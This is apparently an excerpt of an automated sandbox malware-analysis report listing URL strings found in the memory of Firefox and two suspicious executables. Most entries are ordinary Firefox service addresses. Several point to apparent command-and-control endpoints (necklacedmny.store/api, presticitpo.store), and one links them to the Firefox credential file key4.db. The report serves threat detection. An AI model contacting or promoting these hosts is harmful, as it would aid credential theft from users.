Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0FBC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.2572185717.000002B9B4F8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2572185717.000002B9B4F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2578272451.000002B9B5978000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.2586056526.000002B9B61B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.li
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2523144040.0000014391D4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.comresource://activity-stream/lib/SystemTickFeed.jsmresource://gre/modules/compon
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.comEmpty
Source: firefox.exe, 00000019.00000002.2553819219.000002B9B1F20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1CCC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2525401575.000002B9A4ED8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3B72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: 7f3598dc65.exe, 00000010.00000003.2495307583.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493620565.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2490203144.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491078746.0000000000697000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store
Source: file.exe, 00000000.00000003.1985450021.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754929520.00000000058AE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1773633914.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757146069.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2222951184.0000000001393000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2308473206.000000000582B000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275987297.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275599055.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271509895.000000000582B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/&#
Source: file.exe, 00000000.00000003.1729402744.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1729505699.00000000058BD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/(
Source: 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/.#
Source: 7f3598dc65.exe, 00000010.00000003.2493620565.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2490203144.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491078746.0000000000697000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/6#
Source: 7f3598dc65.exe, 00000008.00000003.2222951184.0000000001393000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/9K
Source: 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/Mozi.
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/N
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/Nf
Source: 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/P
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/V
Source: 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/X
Source: file.exe, 00000000.00000003.1729644902.00000000010E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1758025649.00000000010F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1773933137.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256912542.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2309130576.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389148546.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2475531499.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2549679053.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2495307583.000000000069C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiB
Source: 7f3598dc65.exe, 00000008.00000003.2309130576.00000000013B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiL
Source: 7f3598dc65.exe, 00000010.00000003.2389148546.00000000052A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiR
Source: 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiS
Source: 7f3598dc65.exe, 00000010.00000003.2549679053.000000000069C000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548765066.0000000000699000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2527497355.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2547235113.0000000000697000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2546547220.0000000000694000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2529916859.0000000000694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apia
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apic
Source: 7f3598dc65.exe, 00000010.00000003.2389148546.00000000052A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apii
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2471991799.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493833080.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548960148.000000000060B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/b
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/bhdf
Source: 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/h
Source: 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275987297.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275599055.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256912542.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2309130576.00000000013B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/z
Source: file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apiK
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apih
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: 7f3598dc65.exe, 00000010.00000003.2547505476.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2409524653.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store:443/api
Source: 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store:443/apiZ
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.comdevtools-commandkey-styleeditor
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5877000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/ddg
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/experiment-apis/appConstants.js
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/experiment-apis/appConstants.jsshims/mochitest-shim-3.jsasyncEmitMan
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2578272451.000002B9B5930000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2(brows
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000002.2574304998.000002B9B511F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/Actual
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5C92000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
